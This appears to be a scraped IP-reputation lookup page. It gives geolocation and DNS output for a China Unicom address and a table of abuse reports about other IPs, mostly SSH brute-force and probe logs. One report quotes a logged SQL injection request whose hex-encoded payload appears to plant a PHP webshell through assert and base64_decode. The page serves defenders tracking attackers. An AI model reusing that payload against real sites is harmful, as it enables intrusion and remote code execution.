城市(city): Beijing
省份(region): Beijing
国家(country): China
运营商(isp): China Unicom
主机名(hostname): unknown
机构(organization): China Unicom IP network
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 120.52.140.45
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 48570
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;120.52.140.45. IN A
;; AUTHORITY SECTION:
. 141 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2019061700 1800 900 604800 86400
;; Query time: 380 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Jun 17 15:38:50 CST 2019
;; MSG SIZE rcvd: 11745.140.52.120.in-addr.arpa has no PTR recordServer: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
*** Can't find 45.140.52.120.in-addr.arpa.: No answer
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 112.85.42.238 | attack | 2019-11-17T21:39:57.219171scmdmz1 sshd\[31324\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.85.42.238 user=root 2019-11-17T21:39:59.589414scmdmz1 sshd\[31324\]: Failed password for root from 112.85.42.238 port 20521 ssh2 2019-11-17T21:40:02.417043scmdmz1 sshd\[31324\]: Failed password for root from 112.85.42.238 port 20521 ssh2 ... |
2019-11-18 04:46:15 |
| 190.107.240.237 | attackbotsspam | Telnet/23 MH Probe, BF, Hack - |
2019-11-18 04:36:18 |
| 210.202.8.119 | attackspambots | Automatic report - XMLRPC Attack |
2019-11-18 04:45:44 |
| 110.137.179.149 | attackspambots | [munged]::443 110.137.179.149 - - [17/Nov/2019:15:36:39 +0100] "POST /[munged]: HTTP/1.1" 401 8485 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" [munged]::443 110.137.179.149 - - [17/Nov/2019:15:36:57 +0100] "POST /[munged]: HTTP/1.1" 401 8486 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" [munged]::443 110.137.179.149 - - [17/Nov/2019:15:37:06 +0100] "POST /[munged]: HTTP/1.1" 401 8485 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" [munged]::443 110.137.179.149 - - [17/Nov/2019:15:37:20 +0100] "POST /[munged]: HTTP/1.1" 401 8485 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" [munged]::443 110.137.179.149 - - [17/Nov/2019:15:37:43 +0100] "POST /[munged]: HTTP/1.1" 401 8485 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" [munged]::443 110.137.179.149 - - [17/Nov/2019:15:37:45 +0100] "POST /[munged]: HTTP/1.1" 401 8485 "-" "Mozilla/5. |
2019-11-18 04:23:11 |
| 118.89.35.251 | attackbots | Nov 17 06:04:20 hpm sshd\[9129\]: Invalid user angel from 118.89.35.251 Nov 17 06:04:20 hpm sshd\[9129\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.89.35.251 Nov 17 06:04:22 hpm sshd\[9129\]: Failed password for invalid user angel from 118.89.35.251 port 35742 ssh2 Nov 17 06:08:39 hpm sshd\[9477\]: Invalid user lukshun from 118.89.35.251 Nov 17 06:08:39 hpm sshd\[9477\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.89.35.251 |
2019-11-18 04:56:39 |
| 104.148.105.5 | attack | Web app attack & sql injection attempts.
Date: 2019 Nov 17. 18:11:58
Source IP: 104.148.105.5
Portion of the log(s):
104.148.105.5 - [17/Nov/2019:18:11:57 +0100] "POST /ysyqq.php HTTP/1.1" 404 548 "http://[removed].hu/ysyqq.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)"
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] GET /user.php?act=login HTTP/1.1" 404 548 "45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:297:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A336C7A655846784C6E426F634363734A7A772F63476877494756325957776F4A46395154314E5557336C7A655630704F79412F506963702729293B2F2F7D787878,10-- -\x22;s:2:\x22id\x22;s:11:\x22-1' UNION/*\x22;}45ea207d7a2b68c49582d2d22adf953a"
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] POST /fqopr.php
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] POST /fdgq.php
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] GET /user.php?act=login .... |
2019-11-18 05:01:17 |
| 191.242.136.121 | attackspambots | Telnet/23 MH Probe, BF, Hack - |
2019-11-18 04:33:23 |
| 202.191.200.227 | attack | Nov 17 18:49:29 legacy sshd[24045]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.191.200.227 Nov 17 18:49:30 legacy sshd[24045]: Failed password for invalid user disen from 202.191.200.227 port 36609 ssh2 Nov 17 18:53:54 legacy sshd[24131]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.191.200.227 ... |
2019-11-18 04:36:47 |
| 112.198.194.11 | attackbots | SSH bruteforce |
2019-11-18 05:00:15 |
| 118.26.64.58 | attackbots | $f2bV_matches |
2019-11-18 04:37:34 |
| 187.49.84.61 | attackspambots | Telnet/23 MH Probe, BF, Hack - |
2019-11-18 04:40:17 |
| 106.12.5.77 | attackspam | Lines containing failures of 106.12.5.77 Nov 16 04:15:48 shared06 sshd[9686]: Invalid user bastrenta from 106.12.5.77 port 45108 Nov 16 04:15:48 shared06 sshd[9686]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.5.77 Nov 16 04:15:51 shared06 sshd[9686]: Failed password for invalid user bastrenta from 106.12.5.77 port 45108 ssh2 Nov 16 04:15:51 shared06 sshd[9686]: Received disconnect from 106.12.5.77 port 45108:11: Bye Bye [preauth] Nov 16 04:15:51 shared06 sshd[9686]: Disconnected from invalid user bastrenta 106.12.5.77 port 45108 [preauth] ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=106.12.5.77 |
2019-11-18 04:49:07 |
| 212.83.143.57 | attackbotsspam | Nov 17 20:39:43 Invalid user john from 212.83.143.57 port 36854 |
2019-11-18 04:39:55 |
| 129.204.50.75 | attackbotsspam | Nov 18 00:02:34 vibhu-HP-Z238-Microtower-Workstation sshd\[4852\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.50.75 user=root Nov 18 00:02:36 vibhu-HP-Z238-Microtower-Workstation sshd\[4852\]: Failed password for root from 129.204.50.75 port 52180 ssh2 Nov 18 00:07:18 vibhu-HP-Z238-Microtower-Workstation sshd\[5149\]: Invalid user chull from 129.204.50.75 Nov 18 00:07:18 vibhu-HP-Z238-Microtower-Workstation sshd\[5149\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.204.50.75 Nov 18 00:07:20 vibhu-HP-Z238-Microtower-Workstation sshd\[5149\]: Failed password for invalid user chull from 129.204.50.75 port 60286 ssh2 ... |
2019-11-18 04:24:56 |
| 106.13.46.229 | attack | Nov 17 07:58:30 web1 sshd\[24939\]: Invalid user lisa from 106.13.46.229 Nov 17 07:58:30 web1 sshd\[24939\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.46.229 Nov 17 07:58:32 web1 sshd\[24939\]: Failed password for invalid user lisa from 106.13.46.229 port 33248 ssh2 Nov 17 08:02:37 web1 sshd\[25279\]: Invalid user nfs from 106.13.46.229 Nov 17 08:02:37 web1 sshd\[25279\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.46.229 |
2019-11-18 04:51:05 |